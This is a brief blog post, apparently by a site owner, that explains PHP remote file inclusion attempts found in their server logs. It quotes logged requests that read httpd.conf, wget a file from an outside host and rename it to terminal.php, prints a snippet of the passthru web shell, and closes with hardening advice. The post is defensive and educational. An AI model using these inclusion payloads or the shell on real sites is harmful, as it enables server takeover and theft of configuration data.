While browsing my logs today, I discovered someone attempting to exploit PHP’s fopen() support for URLs , This specific form of expoit dates back to at least 2003.
The relevent information (from the cached page above – it doesn’t work here, so all you’d see was the first negated attempt):
“GET
/index.php?l=http://www.havenard.net/havenard/hack/cmd.txt?
&chdir=/usr/local/apache/conf&cmd=cat%20httpd.conf HTTP/1.1”
“GET
/index.php?l=http://www.havenard.net/havenard/hack/cmd.txt?
&chdir=/somewhere/writeable&cmd=wget%20http://www.havenard.net/havenard/4843term.txt HTTP/1.1”
“GET
/index.php?l=http://www.havenard.net/havenard/hack/cmd.txt?
&chdir=/somewhere/writeable&cmd=mv%204843term.txt%20terminal.php HTTP/1.1”
So, I looked at the script that was being linked to (as a text file, from a Geocities site; which still has ‘blocking’ disabled for text files – for some legacy reason). Below follows some of the code:
if (!empty($cmd)) {
@passthru(”$cmd 2>&1”);
$output = ob_get_contents();
if (!empty($output))
echo str_replace(”>”, ”>”, str_replace(”<”, ”<”, $output));
}
As you can see, this script is essentially just a wrapper for exec, using the syntax of a few parameters passed within $_GET[“cmd”].. only, not quite that smart.
It’s incredibly simple, old, and, well, sadly quite effective – many people still don’t secure their site, and blindly write code which works as the following:
if ( ! $var ) $var = “var”;
require(”$var.html”);
The above code is beyond bad. For one, it doesn’t define a local path, which could easily be fixed with:
require(”./$var.html”); (although, I still don’t agree with this method – and this STILL isn’t failsafe.)
I hate global variables, but once you parse your config, you can read the whole thing into an array of a single variable, which you don’t expose – except where you have to.
This is also pretty messy: It allows you to only access one global variable; however, it discloses everything in it’s array, which I consider to be bogus.
Protip: If you don’t need to open files from an external site (which you shouldn’t need to do.. and if you do, use sockets, or a PEAR library), turn off url access in fopen(). This is configurable in php.ini.